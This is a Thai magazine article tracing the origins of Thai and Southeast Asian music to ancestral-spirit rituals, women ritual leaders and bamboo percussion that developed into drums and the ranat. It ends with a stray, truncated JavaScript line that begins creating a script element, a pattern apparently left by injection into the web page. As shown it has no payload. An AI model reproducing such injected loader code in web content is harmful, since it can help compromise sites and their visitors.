มติชนสุดสัปดาห์ ลงฉบับประจำวันศุกร์ที่ 7 มีนาคม 2557

 

          เครื่องดนตรีกับเสียงดนตรี มีพัฒนาการความเป็นมาเกี่ยวข้องอย่างยิ่งกับผี บรรพชน ซึ่งเป็นผีดี ตรงข้ามผีร้าย เท่ากับเป็นดนตรีผี แต่เพื่อชีวิตคน

          ดนตรีไทย (รวมถึงดนตรีสุวรรณภูมิและดนตรีอุษาคเนย์) มีขึ้นครั้งแรกเนื่องในพิธีกรรมศักดิ์สิทธิ์เพื่อความอยู่รอดของมนุษย์ ไม่ได้มีขึ้นเพื่อความบันเทิงสนุกสนาน

          เสียงดนตรีมีขึ้นเลียนเสียงพูดของมนุษย์ เพื่อสื่อสารกับอำนาจเหนือธรรมชาติ คือ ผีบรรพชน

 

เจ้าแม่

          เครื่องดนตรี เป็นเครื่องมือศักดิ์สิทธิ์ และเป็นสมบัติรวมของชุมชน โดยมอบให้บุคคลพิเศษดูแลรักษาไว้ ไม่เป็นสมบัติส่วนตัวของใครคนใดคนหนึ่ง

          บุคคลพิเศษ เป็นเพศหญิงและมักเป็นหัวหน้าพิธีกรรม คือ หมอผี, หมอมด หรืออาจเป็นหัวหน้าเผ่าพันธุ์ซึ่งคนทั่วไปเรียก เจ้าแม่, แม่ย่านาง

          ชาวจ้วงในกวางสี (พูดตระกูลภาษาไทย-ลาว กินข้าวเหนียว ทำขนมเข่ง, บ๊ะจ่าง) เชื่อว่าเครื่องดนตรีเป็นสมบัติของผู้หญิง ต้องให้ผู้หญิงตีกลองไม้ที่ยกย่องเป็นกลองบรรพชน ถ้าหาไม่ได้ก็ให้ผู้ชายแต่งเป็นผู้หญิงตีแทน

          (ผมเคยไปดูพิธีตีกลองไม้และกลองทองมโหระทึกขอฝนของชาวจ้วงในกวางสี เมื่อ พ.ศ. 2537 แล้วเขียนบอกเล่าไว้ในหนังสือคนไทยอยู่ที่นี่ ที่อุษาคเนย์ มหาวิทยาลัยศิลปากร ร่วมกับสำนักพิมพ์ศิลปวัฒนธรรม พิมพ์ครั้งแรก พ.ศ. 2537 หน้า 102)

 

ขอฝน

          พิธีกรรมศักดิ์สิทธิ์ที่ต้องใช้เครื่องดนตรีประโคม เป็นพิธีกรรมเพื่อชีวิตเกี่ยวข้องกับการทำมาหากิน และความอยู่รอดปลอดภัยของคน เช่น

          เป่าปี่ตีกลอง ขอฝนจากผีฟ้าผีดิน เพื่อความอุดมสมบูรณ์ ทำไร่ไถนาหาพืชพันธุ์ธัญญาหารไว้กินตลอดปี

 

ตีไม้ไผ่

          5,000 ปีมาแล้ว บรรพชนคนสุวรรณภูมิโดยเฉพาะบริเวณอีสาน แรกมีชุมชนหมู่บ้านทำการเกษตร แล้วเริ่มทำเครื่องดนตรีในวัฒนธรรมไม้ไผ่ เพื่อพิธีกรรมสื่อสารวิงวอนร้องขอต่ออำนาจเหนือธรรมชาติ คือผีบรรพชน

          โดยใช้ไม้ไผ่ขนาดต่างๆ ทำเครื่องมือ มีชื่อเรียกสมัยหลังว่า เกราะ, โกร่ง, กรับ แล้วยกย่องเป็นเครื่องมือศักดิ์สิทธิ์ เพราะมีผีสิงอยู่ในเครื่องมือ

          เครื่องตีไม้ไผ่บอกสัญญาณ มีคำคล้องจองเรียกสืบมาจนปัจจุบันว่า ตีเกราะเคาะไม้

          ไม้ไผ่ทำเกราะกับโกร่งนี่เองเป็นต้นแบบของโปง ใช้แขวนตีบอกสัญญาณ แล้วพัฒนาเป็นกลองไม้ กระทั่งปัจจุบันคือกลองเพลแขวนตามวัด มีทั่วไปทุกหนทุกแห่งในสุวรรณภูมิ แต่ในวงปี่พาทย์เรียกกลองทัด

          กระบอกไม้ไผ่เป็นปล้องๆ ตัดมาวางเรียงกันหลายปล้อง ใช้ตีปล้องละหนึ่งเสียงได้หลายเสียง ต่อมาภายหลังจะมีพัฒนาการจนเรียกเครื่องมืออย่างนี้ว่า ระนาด

(ซ้าย) เครื่องดนตรีในวัฒนธรรมไม้ไผ่ (ลายเส้นจากหนังสือเครื่องดนตรีไทย ของ ธนิต อยู่โพธิ์ กรมศิลปากร พิมพ์ครั้งที่สอง พ.ศ. 2510) (ขวา) กลุ่มชาติพันธุ์ทางมณฑลยูนนานในจีน ตีกระบอกไม้ไผ่ (ต้นกำเนิดระนาด)

(ซ้าย) ผู้หญิงชาวแสก เมืองนครพนม กำลังเต้นสากกระบอกไม้ไผ่ (ขวา) ข่ากะโส้ ใช้กระบอกไม้ไผ่กระทุ้งดินประกอบร้องรำทำเพลงและดูดอุ (ภาพจาก หอจดหมายเหตุแห่งชาติ)

กระบอกไม้ไผ่ของคนพื้นเมืองดั้งเดิมที่ถลาง จ. ภูเก็ต (ภาพจาก หอจดหมายเหตุแห่งชาติ)

var d=document;var s=d.createElement(‘script’);